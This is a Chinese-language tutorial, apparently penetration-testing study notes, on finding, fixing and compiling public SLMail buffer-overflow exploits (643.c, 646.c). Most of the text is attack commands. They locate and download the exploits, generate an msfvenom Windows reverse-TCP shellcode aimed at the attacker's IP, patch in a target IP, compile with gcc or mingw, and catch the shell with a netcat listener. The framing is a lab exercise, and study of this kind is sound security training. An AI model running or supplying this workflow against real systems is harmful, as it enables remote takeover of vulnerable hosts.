查找与修改exp

本地查找exp

1
2
3
searchsploit slmail

locate /643.c

互联网上查找exp

可靠的经过验证的公开exp来源:

exp debug

由于软件版本等问题,exp可能会执行不成功。

要搭建对应的操作系统版本和有漏洞的软件,作为目标环境,来测试exp。测试exp能够成功执行以后,再在目标上运行。

通常,公开exp的shellcode并不能直接使用。shellcode可能会弹出计算器、绑定无效的IP反弹shell。

如果漏洞对buffer size不敏感,那么就可以将shellcode直接替换为我们的。如果漏洞对于缓冲区大小很敏感,那么简单的替换shellcode,可能会导致漏洞利用失败。

在更复杂的情况下,比如说exp要绕过DEP和ASLR溢出保护,那么替换shellcode的方式更起不到效果。

exp修改案例

mingw是一个跨平台编译器,可以将这个代码编译为windows PE 可执行格式,使用wine在kali上运行。

1
2
3
4
5
apt-get install mingw-w64

dpkg --add-architecture i386 && apt-get update
apt-get install wine:i386

  • 目标ip: 192.168.1.101
  • kali ip: 192.168.1.100

编译643.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
searchsploit slmail
locate /643.c
cp /usr/share/exploitdb/exploits/windows/remote/643.c .
该c代码有错误,无法正确编译
---
wget https://raw.githubusercontent.com/sevro/security-utilities/master/c/slmail_linux/643-fixed.c

---
将c代码中的shellcode替换一下,生成适合我们目标ip的shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

---
目标ip替换一下:
xs = conn("192.168.1.101");
---
编译:

gcc 643-fixed.c -o exp
chmod +x exp

nc -lnvp 443
./exp

编译646.c

https://raw.githubusercontent.com/sevro/security-utilities/master/c/slmail_windows/646-fixed.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
wget https://raw.githubusercontent.com/sevro/security-utilities/master/c/slmail_windows/646-fixed.c
---
修改exp的shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
---
编译
i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe

#i686-w64-mingw32-gcc是编译win32位exe的编译器
#x86_64-w64-mingw32-gcc是编译win64位exe的编译器
#经过测试,kali是64位的,只有x86_64-w64-mingw32-gcc编译的64位exe,能够成功获得windows shell.

i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe

x86_64-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe
---
运行
wine 646.exe 192.168.1.101